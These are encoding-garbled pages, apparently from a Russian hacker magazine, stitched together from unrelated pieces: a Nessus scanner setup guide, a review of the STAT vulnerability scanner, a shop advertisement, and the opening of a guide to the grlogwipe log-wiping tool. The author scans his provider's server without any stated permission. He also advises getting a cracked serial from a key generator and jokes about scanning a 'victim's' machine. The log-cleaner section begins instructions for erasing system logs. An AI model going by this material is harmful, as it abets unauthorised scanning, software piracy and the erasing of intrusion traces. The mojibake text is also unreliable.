à) Ïðîâåðèòü íàëè÷èå óñòàíîâëåííîãî
ñêàíåðà nmap. Åñëè åãî íåò - óñòàíîâèòü
îòñþäà - www.insecure.org/nmap/ - èëè èç
äèñòðèáóòèâà. Nmap - íå îáÿçàòåëüíûé,
íî âåñüìà æåëàòåëüíûé äëÿ ðàáîòû
êîìïîíåíò. Ñáîðêà nmap òîæå ïðîáëåì
äîñòàâèòü íå äîëæíà. Òðàäèöèîííûå
çàêëÿòèÿ configure; make; make install óæå
äîëæíû ñòàòü ïðèâû÷íûìè äëÿ òåáÿ.
Ïðîãðàììà ïðåêðàñíî ñîáèðàåòñÿ íà
ñòàðûõ ñèñòåìàõ (ïðîâåðåíî íà Mandrake
Linux 7.0 âûïóñêà 2000-ãî ãîäà).

á) Ñîçäàòü ñåðòèôèêàò äëÿ
ïîëüçîâàòåëåé ñåðâåðà êîìàíäîé nessus-
mkcert (îò root).

â) Çàâåñòè ïîëüçîâàòåëÿ êîìàíäîé nes-
sus-adduser (îò root).

ã) Çàïóñòèòü äåìîíà nessusd (îò root).
Åñëè âñå ïðîøëî íîðìàëüíî, òî ìîæåøü

îò ïðîñòîãî ïîëüçîâàòåëÿ çàïóñêàòü
êëèåíòà nessus è ïîïûòàòüñÿ âîéòè â
ïðîãðàììó ñ òåì èìåíåì è ïàðîëåì,
êîòîðûå çàäàë â nessus-adduser. Åñëè ÷òî-
òî íå ïîëó÷àåòñÿ (ïîÿâëÿåòñÿ îêîøêî ñ
íàäïèñüþ Login failed), òî ÷èòàåì
äîêóìåíòàöèþ è man nessus. Ñïðàâêà õîòü
è íà àíãëèéñêîì, íî òîëêîâàÿ.

ÂÎÉÄÅÌ?
Ïîñëå óñïåøíîãî âõîäà (ðèñóíîê)
ïîÿâèòñÿ ãëàâíîå îêíî. Âêëàäêà Nessusd
host ïîçâîëèò ïîäêëþ÷èòüñÿ ê äåìîíó
nessusd. Òàì âñå ïðåäåëüíî ïðîñòî.
Óêàçûâàåøü àäðåñ è ïîðò, íà êîòîðîì
ðàáîòàåò nessusd. Äëÿ ëîêàëüíîé ìàøèíû
çíà÷åíèÿ ðàâíû localhost è 1241.

Ñîåäèíåíèå ïðîøëî íîðìàëüíî - âî
âêëàäêå Plugins óâèäèøü ñïèñîê

Â

H
O

W
T

O

óáðèêà ñ êîíêðåò-
íûìè ïðèìåðàìè è

ãîòîâûìè ðåøåíèÿìè ïî
òåìå íîìåðà. Èñõîäíèêè,
ñêðèïòû, ïðèìåðû íà-
ñòðîéêè ñîôòà, ðåàëèçà-
öèÿ òèïè÷íûõ çàäà÷, à
òàêæå íåñòàíäàðòíûå ñïî-
ñîáû ðåøåíèÿ ìíîãèõ ïðî-
áëåì.

Ð

Èòàê, ìîé ìàëåíüêèé áåçãîëîâûé äðóã, òû óæå, íàâåðíÿêà,
â êóðñå, ÷òî ñóùåñòâóþò ñïåöèàëüíûå ñðåäñòâà ðàçâåäêè è
àíàëèçà áåçîïàñíîñòè óäàëåííûõ ñåòåé è õîñòîâ. Òî÷íåå,
ñðåäñòâîì àíàëèçà ÿâëÿåòñÿ òâîÿ ãîëîâà, à ïðåäñòàâëåí-
íûå ïðîãðàììû ëèøü äàþò òåáå ïèùó äëÿ ðàçìûøëåíèé.
Òâîÿ çàäà÷à - ïðàâèëüíî åå ïåðåæåâàòü è ïðîãëîòèòü.

Vitls (vitls@chat.ru)

NESSUS - ÈÍÑÏÅÊÒÎÐ
ÏÎ ÎÒÂÅÐÑÒÜÈÖÀÌ 
ÑÊÀÍÅÐ ÁÅÇÎÏÀÑÍÎÑÒÈ ÄËß LINUX

Nessus - èíñïåêòîð
ïî îòâåðñòüèöàì 26
Cêàíåð â êàìóôëÿæå 28
Èíñòðóêöèÿ ê ìåòëå 
äëÿ linux 30
Óêîë ñìåðòè ñ øåëëà 32
Ïîòðÿñëè, ïîòîì ïî Áèëëè 34
Linux root kit 36
Share�ìñÿ ñ ïèíãâèíàìè 39
À íàñ - legion! À íàñ ðàòü! 40
Õî÷åøü çíàòü, ÷òî
ïðîèñõîäèò â ëîêàëêå?42
Íþõà÷è, ê áîþ! 44
Windows script host 46
Âèðè â âûíü 50
Áîëüøîå â ìàëåíüêîì 52
Ãíóòûé ñòâîë
ïîïàäàåò äâàæäû! 54
Íàêîðìè ñåðâàê
ÿäîâèòûì ïóäèíãîì! 56

Content:



page 027

äîïîëíèòåëüíûõ ìîäóëåé
ñêàíèðîâàíèÿ (åñëè òû èõ
äîäóìàëñÿ ïîñòàâèòü). Âêëþ÷àÿ è
âûêëþ÷àÿ èíòåðåñóþùèå òåáÿ
ìîäóëè, ìîæíî èçìåíèòü ïîâåäåíèå
ñêàíåðà. Â íåêîòîðûõ ñëó÷àÿõ
ìîæíî ïîâûñèòü
ïðîèçâîäèòåëüíîñòü, åñëè íå
âêëþ÷àòü çàâåäîìî íåíóæíûå
ïðîâåðêè. Âûáèðàÿ ìîäóëü, íèæå òû
óâèäèøü åãî ñïîñîáíîñòè. Èõ òîæå
ìîæíî ïî-ðàçíîìó êîìáèíèðîâàòü.

Âêëàäêà Prefs ïîçâîëÿåò òåáå
íàñòðîèòü ïàðàìåòðû ïðîâåðîê
(ïàðàìåòðîâ ìíîãî, è ñ íèìè íàäî
ðàçáèðàòüñÿ êîíêðåòíî). Ñðåäè
ïàðàìåòðîâ åñòü âñåâîçìîæíûå òàéì-
àóòû, òèïû êîäèðîâàíèÿ URL, òèïû è
ìåòîäû ñêàíèðîâàíèÿ, âàðèàíòû
ïîäáîðà ïåðåáîðîì (ðàçäåë Brute
force) è ìíîãîå äðóãîå. Çíà÷åíèÿ ïî
óìîë÷àíèþ âûñòàâëåíû òàê, ÷òî â
90% ñëó÷àåâ èõ äîñòàòî÷íî äëÿ
ïåðâè÷íîé ðàçâåäêè, íî òû âñåãäà
ìîæåøü ïîèãðàòü ñ íèìè è âûÿâèòü
íàèáîëåå ïîäõîäÿùèå äëÿ òåáÿ.

Âêëàäêà Scan options ïîìîæåò
çàäàòü äîïîëíèòåëüíûå îïöèè.
Ìîæíî âûáðàòü ìåòîäû
ñêàíèðîâàíèÿ ïîðòîâ (â òîì ÷èñëå
è nmap), äèàïàçîíû ñêàíèðóåìûõ
ïîðòîâ, ÷èñëî óçëîâ, ñêàíèðóåìûõ
â îäíî è òî æå âðåìÿ.

Ñàìîå ãëàâíîå - Target selection,
òóò òû çàäàåøü öåëü ñâîåé
ðàçâåäêè. Åñëè íå ïîëó÷èòñÿ çà
ðàç, òî ñåññèþ ñêàíèðîâàíèÿ
ìîæíî ñîõðàíèòü è ïîòîì
ïðîäîëæèòü. Ñïèñîê öåëåé òàêæå
ìîæíî âçÿòü èç ôàéëà.

Çàêëàäêà User äàñò òåáå
âîçìîæíîñòü íàñòðîèòü ïðàâèëà
ïîëüçîâàíèÿ ñåðâåðîì nessusd
(áîëåå ïîäðîáíî îá ýòîì òåáå
ðàññêàæåò äîêóìåíòàöèÿ). Äëÿ
êàæäîãî ïîëüçîâàòåëÿ ìîæíî
çàäàòü ñâîé íàáîð ïðàâèë. Ýòî
óäîáíî, åñëè ñåðâåðîì nessusd
ïîëüçóåòñÿ íåñêîëüêî ÷åëîâåê.
Ïðîãðàììà-òî
ìíîãîïîëüçîâàòåëüñêàÿ!

Ñîêðàùåíèå KB îçíà÷àåò áàçó
çíàíèé. Ïðèãîäíà îíà â ñëó÷àå
ñêàíèðîâàíèÿ ìíîæåñòâà óçëîâ.
Ïðîùå ãîâîðÿ, ðåçóëüòàòû
ñêàíèðîâàíèÿ íå âûáðàñûâàþòñÿ, à
íàêàïëèâàþòñÿ è èñïîëüçóþòñÿ äëÿ
äàëüíåéøåãî àíàëèçà. Êðîìå òîãî,
áàçó óäîáíî èñïîëüçîâàòü äëÿ
óïðàâëåíèÿ ïðîöåññîì ñêàíèðîâàíèÿ
áîëüøèõ ñåòåé. Ìîæíî, íàïðèìåð,
çàïðåòèòü ñêàíèðîâàíèå óçëà, åñëè
íåäàâíî îí óæå áûë ïðîñêàíèðîâàí è
ðåçóëüòàòû ñêàíèðîâàíèÿ åñòü â
áàçå çíàíèé.

È íàïîñëåäîê: òðè êíîïêè âíèçó -
Start the scan (íà÷àòü
ñêàíèðîâàíèå), Load report
(çàãðóçèòü îò÷åò î ñêàíèðîâàíèè),
Quit (ýòî òîæå ïåðåâîäèòü? :)).

START FUCKING!
Íó âîò. Äîëãîæäàííûé ìîìåíò.

Ïèøè àäðåñ èññëåäóåìîãî óçëà âî
âêëàäêå Terger selection è äàâè íà
êíîïêó Start the scan. Ïðîöåññ
ñêàíèðîâàíèÿ ìîæåò çàíèìàòü îò
íåñêîëüêèõ ñåêóíä äî äåñÿòêà ìèíóò â
çàâèñèìîñòè îò êà÷åñòâà è ñêîðîñòè
êîííåêòà. Âî âðåìÿ ñêàíèðîâàíèÿ
âûâîäèòñÿ îêíî ñîîáùåíèé. Òàì íåò
íè÷åãî îñîáî èíòåðåñíîãî êðîìå
ñîîáùåíèé î õîäå ïðîöåññà
ñêàíèðîâàíèÿ. ×òîáû íå ñêó÷íî áûëî.

Âêóñíîñòè âûãëÿäÿò òàê, êàê
ïîêàçàíî íà ðèñóíêå íèæå. Ðàäè
ýòîãî ñòîèëî ïîòðàòèòü âðåìÿ íà
èçó÷åíèå ïðîãðàììû. ß ñêàíèðîâàë

ðåàëüíûé ñåðâåð ñâîåãî
ïðîâàéäåðà, ñòîÿùèé ïîä
îïåðàöèîííîé ñèñòåìîé Slackware
Linux (âåðñèþ íå ïîìíþ). Èçâèíè,
áðàòàí, íî ðåàëüíûé IP�øíèê ÿ òåáå
íå äàì. È íå ïðîñè.

Èòàê. Îêîíöå Subnet ïîçâîëèò
âûáðàòü èíòåðåñóþùóþ òåáÿ
ïðîñêàíèðîâàííóþ ïîäñåòü (åñëè òû
èíòåðåñîâàëñÿ íåñêîëüêèìè ñðàçó),
Host ïîêàæåò êîíêðåòíûé óçåë, Port,
ñîîòâåòñòâåííî, ïîêàæåò ñïèñîê
ïîðòîâ íà èçó÷àåìîì êîìïüþòåðå,
ïîëå Severity ðàññêàæåò î
ñåðüåçíîñòè óÿçâèìîñòè ñåðâèñà íà
âûáðàííîì ïîðòå. Severity äåëÿòñÿ
íà òðè âèäà: Security Warning -
óêàçûâàåò íà ïîòåíöèàëüíî
âîçìîæíûå óÿçâèìîñòè ñ ðèñêàìè
âçëîìà ñðåäíåé (Medium) è íèçêîé
(Low) òÿæåñòè. Securitó Note - äàñò
îáùóþ èíôîðìàöèþ î ñåðâèñå íà
óêàçàííîì ïîðòå, âåðñèþ ñåðâèñà è
÷òî-íèáóäü äîïîëíèòåëüíîå.
Security Hole - ñàìîå èíòåðåñíîå.
Òàì ðàññêàçûâàåòñÿ, ÷òî ñåðâèñ
ïîäâåðæåí óÿçâèìîñòè, óêàçûâàåòñÿ
åå òèï, äåéñòâèå è äàåòñÿ
ðåêîìåíäàöèÿ ïî åå óñòðàíåíèþ.
Ñþäà ïîïàäàþò óÿçâèìîñòè ñî
ñòåïåíÿìè óðîâíåé High (âûñîêèé) è
Serious (òðåâîæíûé).

Â áîëüøîì îêîíöå íèæå òû
óâèäèøü ðîñïèñü �ïîä Õîõëîìó�,
ãäå ïðîãðàììà òåáå ðàññêàæåò âñå
ïðî äàííûé ðàçâåäàííûé ñåðâèñ íà
äàííîì óðîâíå severity.

Íà ñêðèíøîòå ïîêàçàíî, ÷òî íà
ïðîñìîòðåííîì ìíîþ óçëå
óÿçâèìîñòü íàéäåíà â ñåðâåðå http
(ïîðò 80). Êîíêðåòíî äûðà
íàõîäèòñÿ â ñöåíàðèè guestbook.pl.
Íàéäåííàÿ óÿçâèìîñòü - î÷åíü
ñåðüåçíàÿ (security hole), è
ðåêîìåíäàöèÿ ñêàíåðà îäíîçíà÷íà
- remove it from /cgi-bin (óäàëèòü!).

×òî ñî âñåì ýòèì äåëàòü äàëüøå -
ðåøàòü òåáå. ß àäìèí è ïðÿìî
ñåé÷àñ ïîçâîíþ ñâîåìó ïðîâó è
ñêàæó, ÷òî îí - èäèîò è åìó íàäî
ëèáî íàíÿòü ìåíÿ, ëèáî óâîëèòüñÿ
ïî ñîáñòâåííîìó æåëàíèþ.
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Íå ñêó÷àé! Ñêîðî áóäó. Òâîé ñêàíåð Ðåçóëüòàòèêè

Ãëàâíîå-ïðåãëàâíîå ìåíþ



Ïîïàëñÿ ìíå òóò â ðóêè âîåííûé ñêàíåð. Àãà, ðåàëüíî â readme íàïèñàíî: �Ñêàíåð
èñïîëüçóåòñÿ â àðìèè ÑØÀ�. Ëàäíî, êàìóôëÿæ íàòÿíóëè, ïóñòûííóþ ïûëü ñ íåãî
ñìàõíóëè, íà÷íåì èñïûòàíèÿ.

îìàøíåé ñòðàíèöåé
ýòîãî òàíêà ÿâëÿåòñÿ
http://premier.harris.com

/STAT. Âåñèò ìîíñòðÿòèíà îêîëî 19
ìåãîâ, òàê ÷òî çàïàñàéòåñü òåðïåíèåì.

ËÅ×ÈÌ ÑÀËÀÃÓ
Òåïåðü ñ âîïðîñîì î ëåêàðñòâå - âåùü
â äàííîì ñëó÷àå â âûñøåé ñòåïåíè
âàæíàÿ, ïîòîìó ÷òî àáñîëþòíîå áîëü-
øèíñòâî ñåðèéíèêîâ, ïðåäëàãàåìûõ â
Èíåòå, äàþò êðèâóþ ëèöåíçèþ, ïîçâî-
ëÿþùóþ ïðîâîäèòü òîëüêî îäèí ñêàí
è òîëüêî îäíîé ìàøèíû, ÷òî, íà íàø
âçãëÿä, ÿâëÿåòñÿ âîïèþùåé íåñïðà-
âåäëèâîñòüþ è óíèæåíèåì ÷åëîâå÷åñ-
êîãî äîñòîèíñòâà (âñåãäà íðàâèëàñü
ýòà ôðàçà :)). Ïîýòîìó íóæíî íàéòè ãå-
íåðàòîð, êîòîðûé ïîçâîëÿåò îáðåñòè
íàì òàêîé ñåðèéíèê, êîòîðûé îòêðûâà-
åò íåîãðàíè÷åííûé äîñòóï ê ÷èñëó ìà-
øèí è ê êîëè÷åñòâó ñêàíîâ. Ó ìåíÿ òå-
ïåðü ñåðèéíûé íîìåð 31337 :). Ìåæäó
äåëîì, ìíå ïîíðàâèëîñü çàìå÷àíèå,
êîòîðîå âûäàëà ïðîãà ïîñëå ââåäåíèÿ
ñåðèéíèêà: �Ó âàñ òåïåðü åñòü àðìåéñ-
êèå ïðèâèëåãèè� :). Òèïà õîäèòü â íà-
ðÿä íà êóõíþ âíå î÷åðåäè? Íó ëàäíî,
ðàçáåðåìñÿ ñ òåì, ÷òî ìîæåò äàííûé
ñêàíåð â ïîãîíàõ.

ÒÅÕÕÀÐÀÊÒÅÐÈÑÒÈÊÈ
Ñèñòåìíûå òðåáîâàíèÿ - 233ÌÃÖ, 128
ðàìû, 40 ìåòðîâ íà âèíòå, Win
2000/NT 4.0 ñ òðåòüèì ñåðâèñïàêîì
ëèáî ÕÐ. Èíñòàëëÿöèÿ è çàïóñê òðåáó-
þò ïðèâèëåãèé àäìèíà, íî ÿ-òî äóìàþ,
òû èõ óæå ïîëó÷èë :).
Ñ êàêèìè ñêàíèðóåìûìè îñÿìè äðó-
æèò íàø ÑÒÀÒ? Ñ Âèíäîé â âèäå
Windows NT 3.51, 4.0, Windows 95,
Windows 98, Windows 2000/XP Pro
and Windows Me. Ñ Red Hat Linux 6.2 è
äàëüøå, Mandrake Linux 7.0 è äàëåå, â
ïðèíöèïå ñî âñåìè ïèíãâèíîïîäîáíû-
ìè, à òàêæå Sun Solaris 7 è 8.

ÄÛÐÎ×ÊÈ!
ÎÊ, òåïåðü äàâàé ïîñìîòðèì, ÷òî èí-
òåðåñíîãî. Î÷åíü èíòåðåñåí ïðèíöèï
ðàçáèåíèÿ êàòàëîãà äûðîê. Âñå äûðû
ðàçáèòû ïî äâóì ïðèíöèïàì: îñåâîé
ïðèíàäëåæíîñòè è ñòåïåíè çíà÷èìîñ-
òè. Ïî îñåâîé ïðèíàäëåæíîñòè: åñëè
äûðêà èìååò îáîçíà÷åíèå, íà÷èíàþ-
ùååñÿ ñ L, òî ýòî ïèíãâèíüÿ äûðêà,
åñëè S - ñîëÿðêà, åñëè W - óãàäàé ñàì.

À åùå óãàäàé, ÷üèõ äûðîê òàì áîëü-
øå :)? Ïî ñòåïåíè çíà÷èìîñòè óðîâ-
íåé âûáðàíû high, medium, low è
warning, ÷òî, â îáùåì, ïîíÿòíî áåç
ïåðåâîäà - âûñîêàÿ îïàñíîñòü, ñðåä-
íÿÿ, íèçêàÿ è ïðåäóïðåæäåíèå.

ÁÀÒÀËÜÎÍ! Â ÐÓÆÜÅ!
Â êà÷åñòâå ïîäîïûòíîãî êðîëèêà áû-
ëà çàäåéñòâîâàíà òà÷êà ïîä Windows
XP, ñòîÿùàÿ â ëîêàëêå áåç ñåðâèñïà-
êà, íî ñ óñòàíîâëåííûì ZoneAlarm,
òàê ÷òî çàîäíî ïðîâåðèì, êàê ó íàøå-
ãî òàíêà ñî ñêðûòíîñòüþ - ïðåò ëè îí
íàïðîëîì èëè õîòü ìàëî-ìàëî øèôðó-
åòñÿ. Ïîðà áû è ïðèñòóïèòü.
Çàïóñê ñêàíåðà ó íàñ èäåò â äâà ýòàïà.
Ñíà÷àëà èäåì â ìåíþ �Mashines�, âû-
áèðàåì ñêàíèðóåìóþ òà÷êó (ìîæíî
îäíó, ìîæíî èç äèàïàçîíà àéïèøíè-
êîâ - èëè ïî-íàøåìó, ïî-áðàçèëüñêè -
èç ñåòåâîãî îêðóæåíèÿ). Ïðè ïîïûòêå
âûáðàòü òà÷êó, ÎÑü êîòîðîé STAT�ó
íåèçâåñòíà, îí áûñòðî ïðåäëîæèò
ïðîâåðèòü åå, ÷òî ìû åìó ñíèñõîäè-
òåëüíî è ïîçâîëèì. Âñå-òî åìó èíòå-
ðåñíî, ìàëåíüêîìó...
Àðòïîäãîòîâêà çàâåðøåíà. Òåïåðü
èäåì â ìåíþõó �Cînfiguration�. Òàì åñòü
âûáîð: ñîçäàòü íîâóþ êîíôèãóðàöèþ,
çàãðóçèòü åå èç ôàéëà è ïðî÷åå. Êîí-
ôèã - ýòî òå ïðîâåðêè, êîòîðûå íóæíî
ïðîèçâîäèòü ñêàíåðó. Åñëè òû ïðåêðàñ-
íî çíàåøü, ÷òî íà òåñòèðóåìîé òà÷êå

ñòîèò Ñîëÿðêà, òî íà ôèã òåáå íóæíû
äâå ñ ëèøíèì òûñÿ÷è òåñòîâ íà âèíäî-
âûå äûðêè? Áåðåøü ôàéë ñ êîíôèãîì
Solaris.dat è ñïîêîéíî þçàåøü åãî.
Âûáðàëè êîíôèã, âûáðàëè òà÷êè.
Ñòàðòóåì ëèáî ñ ïîìîùüþ ìåíþ
�Analysis�, ëèáî êíîïêîé ñ èçîáðàæå-
íèåì êàðäèîãðàììû - âàì, ëþáèòåëè
÷åðíîãî þìîðà, ïîñâÿùàåòñÿ... Ñêà-

íèò, êñòàòè, íå â ïðèìåð îñòàëüíûì
ñêàíåðàì, äîñòàòî÷íî áîäðî. Ïî ìåðå
òîãî êàê âíèçó áåæèò êðàñíàÿ ïîëîñêà
êàðäèîãðàììû (Scanning in progress),
â ïðàâîé ôîðòî÷êå ãëàâíîãî îêíà
ïðîãðàììû áóäåò ðàñòè ñïèñîê óÿçâè-
ìîñòåé èëè, íàäåþñü, íå áóäåò ðàñòè,
åñëè òû ñêàíèøü çàùèùàåìóþ òîáîé
òà÷êó.

ÐßÄÎÂÎÉ ÑÎÎÁÙÀÅÒ!
Ñîîáùåíèÿ èìåþò ñëåäóþùèå êàòåãîðèè:
ID - ñîáñòâåííûé èäåíòèôèêàòîð
ïðîãðàììû.
Risk - ñòåïåíü ðèñêà äûðêè.
Machine - èìÿ ìàøèíû, íà êîòîðîé
íàéäåíà ýòà äûðêà (ïîëåçíî, åñëè òû
ñêàíèøü íå îäíó òà÷êó - ïî íèì ìîæ-
íî ñîðòèðîâàòü).
AutoFix - åùå îäíà èíòåðåñíàÿ ôè÷à.
Åñëè â ýòîé êîëîíêå íàïðîòèâ áàãè
åñòü �Yes�, òî ìîæíî ïîôèêñèòü ýòó
äûðêó îäíèì íàæàòèåì êíîïêè ÍÀ
ÂÑÅÕ ÏÐÎÑÊÀÍÅÍÍÛÕ ÒÎÁÎÉ ÒÀ×-
ÊÀÕ ÑÐÀÇÓ! Ïðèêèíü!..
Category - â êàêóþ êàòåãîðèþ ïîïàäà-
åò íàéäåííàÿ òîáîé äûðêà, íàïðèìåð,
ïðàâà ïîëüçîâàòåëÿ èëè îòêàç â îáñ-
ëóæèâàíèè.
Knowledge base - áàçà çíàíèé ôèðìû
Microsoft ñî ñòàòüÿìè ïî äàííîé ïðîá-
ëåìå. Íàäåþñü, òû çíàåøü ýòó óâàæàå-
ìóþ ôèðìó - îäíîãî èç âåäóùèõ ïðî-
èçâîäèòåëåé ïðîãðàììíîãî îáåñïå÷å-
íèÿ :)?
Advisory - ñîâåò, ïðåäëàãàåìûé ïðî-
èçâîäèòåëåì ñîôòà, ñïîñîá ðåøåíèÿ
äàííîé ïðîáëåìû.
CVE ID - èäåíòèôèêàòîð, ïðèñâàèâàå-
ìûé êîíòîðîé ïîä íàçâàíèåì
Common Vulnerabilities and Exposures.
Bugtraq ID - îáúÿñíÿòü íóæíî? ÎÊ.
Èäåíòèôèêàòîð â áàã-òðàêå.
Cert ID - èäåíòèôèêàòîð CERT Êîîð-
äèíàòèâíîãî Öåíòðà ïðè SEI (Software
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Xander
(net@upv.vodokanal.spb.ru, 
xander@spb300.com)
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ÈÑÑËÅÄÓÅÌ ÂÎÅÍÍÛÉ ÑÊÀÍÅÐ STAT SCANNER
PROFESSIONAL EDITION ÄËß WINDOWS

Åñëè òû
ïðåêðàñíî
çíàåøü, ÷òî íà
òåñòèðóåìîé
òà÷êå ñòîèò
Ñîëÿðêà, òî
çà÷åì òåáå
íóæíû äâå ñ
ëèøíèì
òûñÿ÷è òåñòîâ
íà âèíäîâûå
äûðêè?
Áåðåøü ôàéë
ñ êîíôèãîì
Solaris.dat è
ñïîêîéíî
þçàåøü åãî.

È òèøèíà äîëæíà áûòü â áèáëèîòåêå!



Engineering Institute - èíñòèòóò ðàçðàáîòêè ïðîãðàììíîãî îáåñïå-
÷åíèÿ.
CIAC ID - èäåíòèôèêàòîð Öåíòðà êîíñóëüòèðîâàíèÿ ïî êîìïüþ-
òåðíûì èíöèäåíòàì.
Description - êðàòêîå îïèñàíèå ïðîáëåìû.

Ýòîãî âïîëíå äîñòàòî÷íî äëÿ ïîëó÷åíèÿ îáùåé èíôîðìàöèè î
áåçîïàñíîñòè òâîåé ìàøèíêè èëè ìàøèíêè òâîåé æåðòâû. Íî åñ-
ëè íåäîñòàòî÷íî, òî ñìåëî òûêàé â ñòðî÷êó î äûðêå - âûâàëèòñÿ
îêîøêî ñ íåñêîëüêèìè âêëàäêàìè, íà êîòîðûõ áóäåò âñÿ èíôîð-
ìàöèÿ ïî âñåì âûøåóïîìÿíóòûì êàòåãîðèÿì, íî íå îäíèì ñëîâîì
èëè ñòðî÷êîé, à ïîäðîáíàÿ!

×ÈÍÈÌ È ÏÎÄØÈÂÀÌ
Åñòü ó ñîôòèíû åùå îäíà èíòåðåñíàÿ äåòàëü. Íà âêëàäêå General
åñòü äâå ïðèêîëüíûõ êíîïêè: Autofix è Retest. Åñëè ïðî ïåðâóþ ÿ
óæå âñêîëüçü óïîìÿíóë - ýòî âîçìîæíîñòü ìãíîâåííîé ïî÷èíêè
îäèíàêîâûõ äûðîê íà âñåõ ïðîñêàíåííûõ ìàøèíàõ ëåãêèì äâèæå-
íèåì ðóêè, òî ïðî âòîðóþ íóæíî ðàññêàçàòü. Î÷åíü óäîáíàÿ ôèø-
êà, ãîñïîäà ãóñàðû, î÷åíü! Íàøåë òû áàãó, ïîôèêñèë åå. È ÷òî, òå-
ïåðü íóæíî çàíîâî çàïóñêàòü âåñü ñêàíåð, ÷òîáû ïðîâåðèòü êà÷å-
ñòâî çàïëàòêè? Îòíþäü! Òûêàé â �Ðåòåñò�. Îïàíüêè, åñëè òû ïî÷è-
íèë òîëüêî îäíó ôèøêó, çà÷åì ïðîâåðÿòü âñå îñòàëüíûå. Ýòà
êíîïêà ïðîâåðèò èìåííî ÒÓ óÿçâèìîñòü, ðå÷ü î êîòîðîé èäåò â
äàííûé ìîìåíò. Òî åñòü íàæàòèåì äâóõ êíîïîê ñ èíòåðâàëîì â òðè
ñåêóíäû òû èñïðàâèøü è ïðîâåðèøü áàãó. Î÷åíü óäîáíî! Òîëüêî
ÀÕÒÓÍÃ! Íå ïî÷èíè ñëó÷àéíî òó ñàìóþ åäèíñòâåííóþ äûðêó, êîòî-
ðàÿ äàñò òåáå äîñòóï íà òîò òàê òåáå íåîáõîäèìûé ïîðíîñåðâàê...
Õîòÿ... Ñäåëàåøü äîáðîå äåëî, ìîæåò, ïåðâûé ðàç â æèçíè :). 

ÌÀÑÊÈÐÎÂÊÀ ÎÁÚÅÊÒÎÂ 
ÊÓÑÒÈÊÀÌÈ
Òåïåðü âåðíåìñÿ ê âîïðîñó, ïîäíÿòîìó â íà÷àëå - î ñêðûòíîñòè.
Êàê âèäèøü íà ñêðèíå, íà ÷åêàåìîé òà÷êå - òèøèíà. Â ÷åì ñåêðåò
òàêîé ïîòàåííîñòè? Ìîæåò áûòü â òîì, ÷òî â ïàïêå ñ ïðîãîé ëå-
æèò ìàëåíüêèé ýêçåøíèê ñ íàçâàíèåì nmap? Èíôîðìàöèÿ ê ðàç-
ìûøëåíèþ...
È åùå ïàðà ïðèÿòíûõ ìåëî÷åé: îòïðàâêà ðåçóëüòàòà ñêàíèðîâà-
íèÿ íà óäàëåííóþ ìàøèíó â êîíñîëüíîì ðåæèìå. Íó à èíà÷å êàê
÷åëó íà ïðîñêàíåííîé òà÷êå ñëèòü âñþ èíôó ïðÿìî â êîíñîëü?
Òîëüêî äëÿ ýòîãî íóæíî íàëàäèòü êîííåêò. È âûíåñåííûå íà ïà-
íåëü ïðîãè îñíîâíûå êîíòðîëçû òâîèõ Âèíäîâ (óïðàâëåíèå êîì-
ïîì, êîìàíäíàÿ ñòðîêà, ïàíåëü óïðàâëåíèÿ, ðåäàêòîð ðååñòðà).

REPORT, SOLDIER!
Òåïåðü î ðàïîðòàõ. Ðàïîðòîâ çäåñü - êàê ñîáàê íåðåçàíûõ. Îò áà-
íàëüíûõ ëèñòèíãîâ âñåõ äûðîê (â íàøåì ñëó÷àå ñîñòàâèë äâå
ñòðàíèöû) äî àáñîëþòíî ìîíñòðóîçíûõ Detailed Listing, êîòîðûé ó
ìåíÿ ñîñòàâèë, ñÿäü-êà, áðàòèøêà, ïîêðåï÷å, àæ 112 ñòðàíèö... Âîò
òåáå ÷òèâî íà íî÷ü. Ðàñïå÷àòàé è ïîëîæè ó ïðèêðîâàòíîãî ñòîëè-
êà èëè â òóàëåòå - òàì âñåãäà íå÷åãî ÷èòàòü :).

Èòîãî - âåùü íóæíàÿ, ïîëåçíàÿ è áîëåå ÷åì çàñëóæèâàþùàÿ
âíèìàíèÿ.

E

Ôàñàä 

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

$779.99

$179.99  

Äæîéñòèê/ Flight
Control System III
(AFCS III)

$32.99  

$209.99  

Íàóøíèêè/
Nady QH-460 

Äæîéñòèê/ CH Flight
Sim Yoke USB 

Ïåäàëè/CH Pro
Pedals USB 

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî!
e-mail: sales@e-shop.ru

Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü
ññ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó

ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå
ÑÓÏÅÐÏÐÅÄËÎÆÅÍÈÅ ÄËß  ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ:

ñòîèìîñòü äîñòàâêè         ñíèæåíà íà 10%!

(095) 928-6089 (095) 928-0360 (095) 928-3574

PC Accessories

Êëàâèàòóðà/ Microsoft
Wireless Optical Desktop
Pro, Keyboard-Mouse Combo 

$209.99

$73.99  

Äæîéñòèê/ 2.4GHz
Logitech Cordless
Controller 
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Êëèíåð grlogwipe îòëè÷àåòñÿ ñâîåé ìíîãîôóíêöèîíàëüíîñòüþ è áûñòðîòîé. Òàê ÷òî
èìåííî íà åãî ïðèìåðå ÿ ïîïðîáóþ ðàçëîæèòü âñå ïî ïîëêàì è ðàññêàçàòü, êàê þçàòü
îïöèè âàéïåðà. Ïðàêòèêà ïîêàçûâàåò, ÷òî â ñàìîì íàâîðî÷åííîì ïðîåêòå
èñïîëüçóåòñÿ íå áîëüøå òðåòè åãî âîçìîæíîñòåé. È ýòî ïðîèñõîäèò, êàê ïðàâèëî, èç-
çà íåçíàíèÿ ñèíòàêñèñà êîìàíäíîé ñòðîêè, íàçâàíèé îïöèé, ëåíè ÷èòàòü õåëïû è ò.ä.

òàê, âåðíåìñÿ ê grlog-
wipe. Ñêà÷èâàåì ñåé
ïðîåêò, ðàñïàêîâûâà-

åì èçâåñòíîé íàì êîìàíäîé tar zxf
grlogwipe.tar.gz è ïåðåõîäèì â ðàáî-
÷óþ äèðåêòîðèþ. Äàëåå êîìïèëèì
êîìàíäîé gcc grlogwipe.c -o grlog-
wipe. Êëèíåð äîëæåí áûñòðî ñîá-
ðàòüñÿ íà ëþáîé unix-like ïëàòôîðìå.

Ïîñìîòðèì åãî îïöèè. Äëÿ ýòîãî
çàïóñòèì êëèíåð áåç ïàðàìåòðîâ.
Ãëàâíûå åãî îïöèè ýòî -r è -w. Ïåð-
